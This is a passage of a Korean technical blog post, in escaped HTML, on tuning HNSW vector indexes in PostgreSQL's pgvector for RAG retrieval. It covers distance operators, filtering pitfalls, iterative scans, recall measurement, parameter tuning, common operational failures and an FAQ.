&lt;td&gt;L2 distance&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;&amp;lt;-&gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;vector_l2_ops&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Inner product&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;&amp;lt;#&gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;vector_ip_ops&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cosine&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;&amp;lt;=&gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;vector_cosine_ops&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;L1 distance&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;&amp;lt;+&gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;vector_l1_ops&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;인덱스는 만들었는데 쿼리의 거리 함수가 다르면 기대한 인덱스를 사용하지 못할 수 있습니다. &lt;code class=&quot;language-text&quot;&gt;EXPLAIN (ANALYZE, BUFFERS)&lt;/code&gt;로 실행 계획을 확인하세요.&lt;/p&gt;
&lt;h3&gt;3. 초기 대량 적재 후 인덱스 생성&lt;/h3&gt;
&lt;p&gt;초기 데이터가 크다면 먼저 데이터를 적재하고 인덱스를 만드는 편이 일반적으로 빠릅니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;SET&lt;/span&gt; maintenance_work_mem &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;4GB&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;INDEX&lt;/span&gt; CONCURRENTLY document_chunks_embedding_hnsw_idx
&lt;span class=&quot;token keyword&quot;&gt;ON&lt;/span&gt; document_chunks
&lt;span class=&quot;token keyword&quot;&gt;USING&lt;/span&gt; hnsw &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;embedding vector_cosine_ops&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;WITH&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;m &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; ef_construction &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;maintenance_work_mem&lt;/code&gt;을 무작정 크게 설정하면 서버 전체 메모리를 고갈시킬 수 있습니다. 같은 서버에서 동시에 실행되는 작업과 실제 여유 메모리를 확인해야 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;실전 함정 — WHERE 필터를 붙이면 결과가 줄어든다&lt;/h2&gt;
&lt;p&gt;멀티테넌트 RAG라면 보통 벡터 검색에 필터가 붙습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;SELECT&lt;/span&gt; id&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; content
&lt;span class=&quot;token keyword&quot;&gt;FROM&lt;/span&gt; document_chunks
&lt;span class=&quot;token keyword&quot;&gt;WHERE&lt;/span&gt; tenant_id &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;42&lt;/span&gt;
  &lt;span class=&quot;token operator&quot;&gt;AND&lt;/span&gt; category_id &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;7&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;ORDER&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;BY&lt;/span&gt; embedding &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&gt;&lt;/span&gt; :query_embedding
&lt;span class=&quot;token keyword&quot;&gt;LIMIT&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;여기서 흔한 오해가 있습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;먼저 &lt;code class=&quot;language-text&quot;&gt;tenant_id = 42&lt;/code&gt;만 모은 뒤 그 안에서 HNSW를 검색하겠지?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;항상 그렇지는 않습니다. pgvector의 근사 인덱스는 인덱스를 탐색한 뒤 필터가 적용될 수 있습니다. 예를 들어 탐색 후보 40개 중 필터를 통과하는 비율이 10%라면 평균적으로 4개 정도만 남을 수 있습니다. &lt;code class=&quot;language-text&quot;&gt;LIMIT 10&lt;/code&gt;인데 10개보다 적게 반환되는 이유입니다.&lt;/p&gt;
&lt;h3&gt;대응 1 — 필터 컬럼 인덱스&lt;/h3&gt;
&lt;p&gt;필터 결과가 작다면 B-tree로 후보를 좁힌 뒤 정확 벡터 검색을 하는 편이 나을 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;INDEX&lt;/span&gt; document_chunks_tenant_category_idx
&lt;span class=&quot;token keyword&quot;&gt;ON&lt;/span&gt; document_chunks &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;tenant_id&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; category_id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;대응 2 — ef_search 증가&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;SET&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;LOCAL&lt;/span&gt; hnsw&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ef_search &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;후보를 더 많이 탐색해 필터 통과 결과를 확보합니다. 대신 느려집니다.&lt;/p&gt;
&lt;h3&gt;대응 3 — Iterative Scan&lt;/h3&gt;
&lt;p&gt;pgvector 0.8부터는 충분한 결과를 얻을 때까지 자동으로 더 탐색하는 iterative scan을 사용할 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;SET&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;LOCAL&lt;/span&gt; hnsw&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;iterative_scan &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; strict_order&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;SET&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;LOCAL&lt;/span&gt; hnsw&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;max_scan_tuples &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;20000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;strict_order&lt;/code&gt;는 거리 순서를 엄격하게 유지합니다. &lt;code class=&quot;language-text&quot;&gt;relaxed_order&lt;/code&gt;는 약간 느슨한 순서를 허용해 recall과 성능을 조정할 수 있습니다.&lt;/p&gt;
&lt;h3&gt;대응 4 — Partial Index 또는 Partitioning&lt;/h3&gt;
&lt;p&gt;테넌트나 카테고리 종류가 제한적이고 쿼리 패턴이 고정돼 있다면 부분 인덱스를 검토할 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;INDEX&lt;/span&gt; document_chunks_category_7_hnsw_idx
&lt;span class=&quot;token keyword&quot;&gt;ON&lt;/span&gt; document_chunks
&lt;span class=&quot;token keyword&quot;&gt;USING&lt;/span&gt; hnsw &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;embedding vector_cosine_ops&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;WHERE&lt;/span&gt; category_id &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;값의 종류가 많으면 파티셔닝도 후보입니다. 다만 인덱스 개수가 폭증하지 않도록 운영 복잡도와 함께 판단해야 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Recall을 반드시 측정해야 하는 이유&lt;/h2&gt;
&lt;p&gt;ANN 검색에서 “빨라졌다”만 측정하면 부족합니다. 빠른 대신 정답을 얼마나 놓쳤는지 확인해야 합니다.&lt;/p&gt;
&lt;p&gt;대표 지표는 &lt;code class=&quot;language-text&quot;&gt;Recall@K&lt;/code&gt;입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Recall@K = ANN 결과와 Exact Top-K의 교집합 수 / K&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;정확 검색의 Top-10 중 HNSW가 9개를 찾았다면 Recall@10은 0.9입니다.&lt;/p&gt;
&lt;h3&gt;평가 절차&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;실제 질의를 대표하는 query embedding 표본을 준비합니다&lt;/li&gt;
&lt;li&gt;HNSW 인덱스를 끄고 Exact Top-K를 구합니다&lt;/li&gt;
&lt;li&gt;같은 질의를 HNSW로 실행합니다&lt;/li&gt;
&lt;li&gt;Recall@K, p50·p95·p99 latency를 함께 기록합니다&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;ef_search&lt;/code&gt;를 바꿔 속도-recall 곡선을 만듭니다&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;pgvector에서는 비교용 세션에서 인덱스 스캔을 꺼 정확 검색 결과를 만들 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;BEGIN&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;SET&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;LOCAL&lt;/span&gt; enable_indexscan &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;off&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;SELECT&lt;/span&gt; id
&lt;span class=&quot;token keyword&quot;&gt;FROM&lt;/span&gt; document_chunks
&lt;span class=&quot;token keyword&quot;&gt;ORDER&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;BY&lt;/span&gt; embedding &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&gt;&lt;/span&gt; :query_embedding
&lt;span class=&quot;token keyword&quot;&gt;LIMIT&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;COMMIT&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;평가 데이터는 임의의 벡터보다 실제 사용자 질문 분포를 반영해야 합니다. 짧은 키워드, 긴 질문, 고유명사, 최신 문서, 테넌트 필터 같은 운영 쿼리를 섞으세요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;M과 ef를 어떻게 튜닝할까&lt;/h2&gt;
&lt;h3&gt;검색 recall만 부족하다&lt;/h3&gt;
&lt;p&gt;먼저 &lt;code class=&quot;language-text&quot;&gt;ef_search&lt;/code&gt;를 올립니다. 인덱스를 다시 만들지 않고 쿼리 시점에 실험할 수 있기 때문입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;SET&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;LOCAL&lt;/span&gt; hnsw&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ef_search &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;40&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;-- benchmark&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;SET&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;LOCAL&lt;/span&gt; hnsw&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ef_search &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;-- benchmark&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;SET&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;LOCAL&lt;/span&gt; hnsw&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ef_search &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;-- benchmark&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;ef_search를 올려도 recall이 충분하지 않다&lt;/h3&gt;
&lt;p&gt;그래프 자체의 품질이 부족할 수 있습니다. &lt;code class=&quot;language-text&quot;&gt;ef_construction&lt;/code&gt;을 높여 인덱스를 다시 만들어 비교합니다.&lt;/p&gt;
&lt;h3&gt;데이터가 매우 복잡하고 군집이 많다&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;M&lt;/code&gt;을 높이면 노드당 연결이 늘어 탐색 경로가 풍부해질 수 있습니다. 대신 인덱스 메모리와 빌드 비용이 증가합니다.&lt;/p&gt;
&lt;h3&gt;메모리가 부족하다&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;무조건 &lt;code class=&quot;language-text&quot;&gt;M&lt;/code&gt;을 높이지 않습니다&lt;/li&gt;
&lt;li&gt;인덱스가 메모리에 상주하는지 확인합니다&lt;/li&gt;
&lt;li&gt;지원 범위에서 &lt;code class=&quot;language-text&quot;&gt;halfvec&lt;/code&gt; 또는 양자화를 검토합니다&lt;/li&gt;
&lt;li&gt;검색 품질을 유지할 수 있는 최소 파라미터를 실험합니다&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;파라미터에는 모든 서비스에 통하는 정답이 없습니다. 데이터 분포, 차원, 거리 함수, 필터 선택도, 목표 recall과 지연 시간이 다르기 때문입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Exact, HNSW, IVFFlat 중 무엇을 선택할까&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;방식&lt;/th&gt;
&lt;th&gt;장점&lt;/th&gt;
&lt;th&gt;단점&lt;/th&gt;
&lt;th&gt;적합한 상황&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Exact&lt;/td&gt;
&lt;td&gt;완전한 recall, 단순함&lt;/td&gt;
&lt;td&gt;데이터 증가에 따라 비교량 증가&lt;/td&gt;
&lt;td&gt;작은 데이터, 강한 필터&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HNSW&lt;/td&gt;
&lt;td&gt;좋은 speed-recall 균형, 학습 불필요&lt;/td&gt;
&lt;td&gt;메모리·빌드·삽입 비용&lt;/td&gt;
&lt;td&gt;읽기 중심의 저지연 ANN&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IVFFlat&lt;/td&gt;
&lt;td&gt;상대적으로 작은 인덱스와 빠른 빌드&lt;/td&gt;
&lt;td&gt;학습 데이터 필요, probes 튜닝&lt;/td&gt;
&lt;td&gt;메모리 제약과 대량 배치 인덱싱&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;데이터가 작을 때는 인덱스를 붙이지 않은 Exact Search가 더 낫기도 합니다. “벡터 DB니까 HNSW”가 아니라 실제 실행 계획과 벤치마크로 결정해야 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;RAG에서 HNSW를 사용할 때의 전체 흐름&lt;/h2&gt;
&lt;p&gt;HNSW는 RAG 전체가 아니라 &lt;strong&gt;후보 검색 단계의 인덱스&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;사용자 질문
  ↓ embedding
query vector
  ↓ metadata filter + HNSW
candidate chunks
  ↓ reranker
top evidence
  ↓ LLM
answer + citation&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;검색 품질이 좋지 않을 때 HNSW 파라미터만 만지면 안 됩니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;청크가 의미 단위로 잘렸는가&lt;/li&gt;
&lt;li&gt;질문과 문서가 같은 임베딩 모델을 사용하는가&lt;/li&gt;
&lt;li&gt;거리 함수가 모델 사용법과 맞는가&lt;/li&gt;
&lt;li&gt;메타데이터 필터가 후보를 과도하게 제거하는가&lt;/li&gt;
&lt;li&gt;reranker가 필요한가&lt;/li&gt;
&lt;li&gt;정답 문서가 실제 인덱스에 들어 있는가&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;HNSW는 없는 근거를 만들어 내지 못하고, 잘못된 청킹을 복구하지도 못합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;운영에서 자주 만나는 실패 8가지&lt;/h2&gt;
&lt;h3&gt;1. 인덱스를 만들기만 하고 recall을 측정하지 않는다&lt;/h3&gt;
&lt;p&gt;지연 시간만 좋아지고 중요한 문서를 놓칠 수 있습니다. Exact 결과를 정답 집합으로 비교하세요.&lt;/p&gt;
&lt;h3&gt;2. ef_search를 무조건 크게 올린다&lt;/h3&gt;
&lt;p&gt;recall은 좋아질 수 있지만 p95 latency와 CPU가 악화됩니다. 곡선을 측정해 필요한 지점까지만 올립니다.&lt;/p&gt;
&lt;h3&gt;3. WHERE 필터를 Exact pre-filter처럼 생각한다&lt;/h3&gt;
&lt;p&gt;근사 후보를 찾은 뒤 필터링되면 결과가 부족할 수 있습니다. 선택도별로 실행 계획과 반환 개수를 확인하세요.&lt;/p&gt;
&lt;h3&gt;4. 거리 함수와 인덱스 opclass가 다르다&lt;/h3&gt;
&lt;p&gt;Cosine 쿼리에 L2 인덱스를 만들어 놓는 식의 불일치를 피해야 합니다.&lt;/p&gt;
&lt;h3&gt;5. 임베딩 모델을 바꾸고 기존 벡터와 섞는다&lt;/h3&gt;
&lt;p&gt;서로 다른 임베딩 공간의 벡터는 거리를 직접 비교할 수 없습니다. 모델 버전을 메타데이터로 관리하고 재색인 전략을 세우세요.&lt;/p&gt;
&lt;h3&gt;6. 메모리 사용량을 무시한다&lt;/h3&gt;
&lt;p&gt;벡터 원본뿐 아니라 그래프 간선과 인덱스 구조도 메모리를 사용합니다. 데이터 증가율까지 포함해 추정하세요.&lt;/p&gt;
&lt;h3&gt;7. 삭제와 갱신이 많은데 유지보수 계획이 없다&lt;/h3&gt;
&lt;p&gt;대량 변경 워크로드에서는 인덱스 팽창과 빌드 시간을 관찰하고 재색인·배치 적재 전략을 준비해야 합니다.&lt;/p&gt;
&lt;h3&gt;8. 애플리케이션 품질을 ANN recall 하나로 판단한다&lt;/h3&gt;
&lt;p&gt;검색 recall이 좋아도 최종 답변이 틀릴 수 있습니다. 검색 평가와 답변 평가를 분리하세요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;실전 도입 체크리스트&lt;/h2&gt;
&lt;ul class=&quot;contains-task-list&quot;&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Exact Search 기준 결과를 저장했다&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 실제 질문 표본으로 Recall@K를 측정한다&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; p50·p95·p99 latency를 함께 기록한다&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Cosine·L2·Inner Product 중 거리 함수를 확정했다&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 쿼리 연산자와 HNSW opclass가 일치한다&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; &lt;code class=&quot;language-text&quot;&gt;M&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;ef_construction&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;ef_search&lt;/code&gt;를 구분한다&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 필터 선택도별 반환 개수와 실행 계획을 확인한다&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 인덱스 메모리와 빌드 시간을 측정한다&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 임베딩 모델 버전과 재색인 절차가 있다&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; HNSW 뒤에 reranker가 필요한지 평가한다&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문&lt;/h2&gt;
&lt;h3&gt;HNSW는 항상 완전탐색보다 빠른가요?&lt;/h3&gt;
&lt;p&gt;아닙니다. 데이터가 작거나 필터로 후보가 매우 적어지면 Exact Search가 더 단순하고 빠를 수 있습니다. 인덱스 탐색 오버헤드도 있기 때문에 실제 데이터로 측정해야 합니다.&lt;/p&gt;
&lt;h3&gt;HNSW 결과는 매번 정확히 같은가요?&lt;/h3&gt;
&lt;p&gt;근사 인덱스의 그래프 구성과 검색 후보 제한 때문에 Exact Top-K와 다를 수 있습니다. 동일 환경의 반복 쿼리는 보통 안정적이지만, 인덱스를 다시 만들거나 데이터 삽입 순서·설정이 바뀌면 근접한 후보들의 순서가 달라질 수 있습니다.&lt;/p&gt;
&lt;h3&gt;ef_search를 높이면 정확 검색이 되나요?&lt;/h3&gt;
&lt;p&gt;recall이 높아질 가능성은 크지만 완전한 정확성을 자동으로 보장하지는 않습니다. 정확성이 필수인 단계에서는 HNSW로 후보를 넓게 찾은 뒤 Exact distance로 재정렬하거나 Exact Search를 사용하세요.&lt;/p&gt;
&lt;h3&gt;Cosine similarity를 쓰려면 벡터를 정규화해야 하나요?&lt;/h3&gt;
&lt;p&gt;사용하는 임베딩 모델과 데이터베이스 연산자의 정의를 확인해야 합니다. 일부 모델은 정규화된 벡터를 반환하고, 일부는 애플리케이션에서 정규화해야 합니다. 모델 문서와 저장 파이프라인을 한 쌍으로 관리하세요.&lt;/p&gt;
&lt;h3&gt;HNSW와 reranker는 같은 역할인가요?&lt;/h3&gt;
&lt;p&gt;아닙니다. HNSW는 큰 후보 집합에서 가까운 벡터를 빠르게 찾습니다. reranker는 이렇게 찾은 소수 후보를 더 비싼 모델로 정밀하게 재정렬합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마치며&lt;/h2&gt;
&lt;p&gt;HNSW의 핵심은 복잡한 수식이 아닙니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;위층에서 멀리 이동하고, 아래층에서 후보를 넓혀 가까운 이웃을 찾는다.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;이 구조 덕분에 모든 벡터를 비교하지 않고도 빠른 검색이 가능합니다. 대신 근사 검색이므로 recall과 지연 시간의 교환 관계를 직접 측정해야 합니다.&lt;/p&gt;
&lt;p&gt;실무에서는 다음 순서로 시작하면 됩니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Exact Search로 정답 집합을 만든다&lt;/li&gt;
&lt;li&gt;기본 HNSW 설정으로 속도와 recall을 측정한다&lt;/li&gt;
&lt;li&gt;먼저 &lt;code class=&quot;language-text&quot;&gt;ef_search&lt;/code&gt;를 조정한다&lt;/li&gt;
&lt;li&gt;부족하면 &lt;code class=&quot;language-text&quot;&gt;ef_construction&lt;/code&gt;과 &lt;code class=&quot;language-text&quot;&gt;M&lt;/code&gt;을 검토한다&lt;/li&gt;
&lt;li&gt;필터가 붙으면 반환 개수와 iterative scan을 확인한다&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;HNSW는 “벡터 DB를 빠르게 해 주는 마법”이 아니라 &lt;strong&gt;탐색 범위를 줄이는 그래프 인덱스&lt;/strong&gt;입니다. 이 경계를 이해하면 RAG 검색 품질 문제를 청킹·임베딩·필터·인덱스·재정렬 단계로 나눠 진단할 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;참고 자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://arxiv.org/abs/1603.09320&quot;&gt;Efficient and robust approximate nearest neighbor search using Hierarchical Navigable Small World graphs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/pgvector/pgvector#hnsw&quot;&gt;pgvector — HNSW indexing and query options&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/pgvector/pgvector#filtering&quot;&gt;pgvector — Filtering and iterative index scans&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/hybrid-markdown-document-digitization/&quot;&gt;하이브리드 Markdown으로 비정형 문서를 보존하는 방법&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/structured-data-semantic-layer-tag/&quot;&gt;정형 데이터를 Semantic Layer와 TAG로 질의하는 방법&lt;/a&gt;&lt;/li&gt;
